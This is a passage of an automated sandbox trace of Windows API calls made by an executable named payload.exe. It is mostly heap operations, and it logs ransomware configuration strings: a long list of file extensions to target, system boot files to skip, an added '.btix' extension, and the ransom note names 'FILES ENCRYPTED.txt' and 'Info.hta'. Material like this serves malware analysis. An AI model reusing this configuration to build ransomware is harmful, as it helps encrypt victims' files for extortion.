[0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b7d0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b608 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b668 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b6e0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b788 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b5f0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b698 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b5c0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b7e8 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b800 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b818 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b860 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b5d8 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d33f0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x6d3510 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b8a8 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b6b0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b710 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b6c8 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b6f8 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b728 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b740 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b758 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b890 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71ba40 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71ba70 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71baa0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b8d8 [0037.178] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x400) returned 0x6d5fd0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b9b0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b8f0 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b908 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bb90 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b9f8 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b920 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b950 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71ba10 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bb30 [0037.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b9c8 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3520 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bb18 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71bb48 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bb78 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b938 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bb60 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b9e0 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x71ba28 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b968 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bab8 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b980 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b998 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bba8 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71ba58 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bad0 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bae8 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3400 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71ba88 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bb00 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b8c0 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71be48 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bdb8 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bde8 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bd58 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bd28 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bd10 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x71be90 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bcb0 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x71bda0 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bc98 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bd40 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bcc8 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71be60 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bd70 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71bce0 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bc20 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bbc0 [0037.179] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71be78 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bc68 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bd88 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bdd0 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bcf8 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71be00 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71be18 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71be30 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bbf0 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bc38 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bea8 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bbd8 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bc08 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bc50 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bc80 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x71bf20 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x12) returned 0x6a56f0 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bf68 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bef0 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bf08 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bed8 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bec0 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bf38 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71bf50 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c6e8 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c8b0 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c700 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c790 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c6a0 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c628 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c640 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c7c0 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c880 [0037.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c898 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c688 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c838 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c820 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c718 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c5c8 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c7d8 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x71c6b8 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c6d0 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3530 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c658 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d32c0 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c7f0 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c5e0 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c808 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c670 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c730 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c748 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c850 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c868 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c760 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c5f8 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c778 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c7a8 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c610 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71cac0 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x71d180 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71cb68 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71cad8 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c988 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71cb38 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c9a0 [0037.181] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71c9b8 [0037.181] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x800) returned 0x71d398 [0037.182] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0037.182] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6e9728 | out: hHeap=0x690000) returned 1 [0037.182] lstrlenW (lpString="") returned 0 [0037.182] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71bff8 | out: hHeap=0x690000) returned 1 [0037.182] lstrlenW (lpString=".btix") returned 5 [0037.182] lstrlenW (lpString=".btix") returned 5 [0037.182] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71bff8 | out: hHeap=0x690000) returned 1 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c028, Size=0x20) returned 0x6ceae8 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ceae8, Size=0x40) returned 0x6aa1e0 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa1e0, Size=0x80) returned 0x6d42f8 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d1a0, Size=0x8) returned 0x71d100 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d100, Size=0x10) returned 0x71c028 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c028, Size=0x20) returned 0x6ce7f0 [0037.182] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0037.182] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d42f8 | out: hHeap=0x690000) returned 1 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c2c8, Size=0x20) returned 0x6ceb38 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ceb38, Size=0x40) returned 0x6aa588 [0037.182] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0037.182] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0037.182] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa588 | out: hHeap=0x690000) returned 1 [0037.182] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c520, Size=0x20) returned 0x6ce7c8 [0037.182] lstrlenW (lpString="Info.hta") returned 8 [0037.182] lstrlenW (lpString="Info.hta") returned 8 [0037.182] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0037.183] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x71dba0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\payload.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload.exe")) returned 0x23 [0037.183] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71dba0 | out: hHeap=0x690000) returned 1 [0037.183] lstrlenW (lpString="payload.exe") returned 11 [0037.183] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce7f0, Size=0x40) returned 0x6a9fe8 [0037.183] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c2c8, Size=0x20) returned 0x6cea48 [0037.183] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c2c8, Size=0x20) returned 0x6ce7c8 [0037.183] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce7c8, Size=0x40) returned 0x6aa0c0 [0037.183] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa0c0, Size=0x80) returned 0x6d47c0 [0037.183] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d47c0, Size=0x100) returned 0x6d5fd0 [0037.183] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0037.183] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5fd0 | out: hHeap=0x690000) returned 1 [0037.183] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x71dba0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0037.183] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x72dba8 | out: hHeap=0x690000) returned 1 [0037.184] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71dba0 | out: hHeap=0x690000) returned 1 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d1a0, Size=0x8) returned 0x71d0e0 [0037.185] lstrlenW (lpString="%windir%;") returned 9 [0037.185] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cea48 | out: hHeap=0x690000) returned 1 [0037.185] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0037.185] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x70af78 | out: hHeap=0x690000) returned 1 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c4a8, Size=0x20) returned 0x6ce7c8 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce7c8, Size=0x40) returned 0x6aa270 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa270, Size=0x80) returned 0x6d4050 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4050, Size=0x100) returned 0x6d5fd0 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d0a0, Size=0x8) returned 0x71d070 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d070, Size=0x10) returned 0x71c520 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c520, Size=0x20) returned 0x6ce868 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d1a0, Size=0x8) returned 0x71d0a0 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d090, Size=0x8) returned 0x71d040 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71cfd0, Size=0x8) returned 0x71cff0 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71cff0, Size=0x10) returned 0x71c4f0 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c4f0, Size=0x20) returned 0x6cea48 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d0a0, Size=0x10) returned 0x71c3b8 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d040, Size=0x10) returned 0x71c5b0 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d0d0, Size=0x8) returned 0x71d0a0 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d120, Size=0x8) returned 0x71d0c0 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c3b8, Size=0x20) returned 0x6ce958 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c5b0, Size=0x20) returned 0x6cec00 [0037.185] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d040, Size=0x8) returned 0x71d1b0 [0037.186] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0037.186] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5fd0 | out: hHeap=0x690000) returned 1 [0037.186] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c418, Size=0x20) returned 0x6ceae8 [0037.186] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x70af78, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0037.186] lstrlenW (lpString="C:\\") returned 3 [0037.186] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.186] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x70af78 | out: hHeap=0x690000) returned 1 [0037.186] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d090, Size=0x82) returned 0x6d6060 [0037.186] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d0b0, Size=0x100) returned 0x6d60f0 [0037.186] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d6060, Size=0x104) returned 0x6d6318 [0037.186] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d60f0, Size=0x200) returned 0x6e9728 [0037.187] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71d140 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6e9728 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c4a8 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4490 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c490 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4d10 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c370 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d6318 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c5b0 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d61f8 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c2f8 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d6288 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c4c0 | out: hHeap=0x690000) returned 1 [0037.188] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c490, Size=0x20) returned 0x6ce840 [0037.188] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce840, Size=0x40) returned 0x6aa198 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71d120 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c460 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, 